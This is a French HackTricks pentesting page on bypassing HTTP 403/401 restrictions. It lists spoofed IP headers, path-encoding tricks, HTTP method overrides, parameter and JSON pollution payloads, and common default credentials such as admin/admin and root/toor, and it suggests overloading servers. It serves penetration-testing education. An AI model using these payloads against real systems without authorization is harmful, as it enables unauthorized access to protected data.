9.4 KiB
Bypass 403 & 401
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Fuzzing des verbes/méthodes HTTP
Essayez d'utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Vérifiez les en-têtes de réponse, peut-être que des informations peuvent être fournies. Par exemple, une réponse 200 à HEAD avec
Content-Length: 55
signifie que le verbe HEAD peut accéder aux informations. Mais vous devez toujours trouver un moyen d'extraire ces informations. - Utiliser un en-tête HTTP comme
X-HTTP-Method-Override: PUT
peut remplacer le verbe utilisé. - Utilisez le verbe
TRACE
et si vous avez beaucoup de chance, peut-être que dans la réponse vous pouvez également voir les en-têtes ajoutés par les proxies intermédiaires qui pourraient être utiles.
Fuzzing des en-têtes HTTP
-
Changer l'en-tête Host en une valeur arbitraire (qui a fonctionné ici)
-
Essayez d'utiliser d'autres User Agents pour accéder à la ressource.
-
Fuzz des en-têtes HTTP : Essayez d'utiliser des en-têtes de proxy HTTP, une force brute d'authentification HTTP Basic et NTLM (avec seulement quelques combinaisons) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil fuzzhttpbypass.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Si le chemin est protégé, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-têtes :
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
- Si la page est derrière un proxy, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de l'HTTP Request Smuggling ou des en-têtes hop-by-hop.
- Fuzz des en-têtes HTTP spéciaux à la recherche de réponses différentes.
- Fuzz des en-têtes HTTP spéciaux tout en fuzzant les méthodes HTTP.
- Supprimez l'en-tête Host et peut-être pourrez-vous contourner la protection.
Fuzzing du chemin
Si /chemin est bloqué :
- Essayez d'utiliser /%2e/chemin _(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi_** /%252e**/chemin (double encodage d'URL)
- Essayez le contournement Unicode : /%ef%bc%8fchemin (Les caractères encodés en URL sont comme "/") donc une fois encodés à nouveau, cela sera //chemin et peut-être aurez-vous déjà contourné la vérification du nom /chemin
- Autres contournements de chemin :
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- Utilisez toute cette liste dans les situations suivantes :
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Autres contournements d'API :
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Non autorisé
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Non autorisé
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (Pollution de paramètres JSON)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Pollution de paramètres)
Manipulation de paramètres
- Changer la valeur du paramètre : De
id=123
-->id=124
- Ajouter des paramètres supplémentaires à l'URL :
?
id=124
—->id=124&isAdmin=true
- Supprimer les paramètres
- Réorganiser les paramètres
- Utiliser des caractères spéciaux.
- Effectuer des tests de limite dans les paramètres - fournir des valeurs comme -234 ou 0 ou 99999999 (juste quelques exemples de valeurs).
Version du protocole
Si vous utilisez HTTP/1.1 essayez d'utiliser 1.0 ou même testez s'il prend en charge 2.0.
Autres contournements
- Obtenez l'IP ou le CNAME du domaine et essayez de le contacter directement.
- Essayez de surcharger le serveur en envoyant des requêtes GET courantes (Cela a fonctionné pour ce gars avec Facebook).
- Changer le protocole : de http à https, ou de https à http
- Allez sur https://archive.org/web/ et vérifiez si dans le passé ce fichier était accessible mondialement.
Brute Force
- Devinez le mot de passe : Testez les identifiants courants suivants. Connaissez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?
- Brute force: Essayez l'authentification de base, digest et NTLM.
{% code title="Identifiants courants" %}
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
{% endcode %}
Outils Automatiques
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Extension Burp - 403 Bypasser
- Forbidden Buster
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.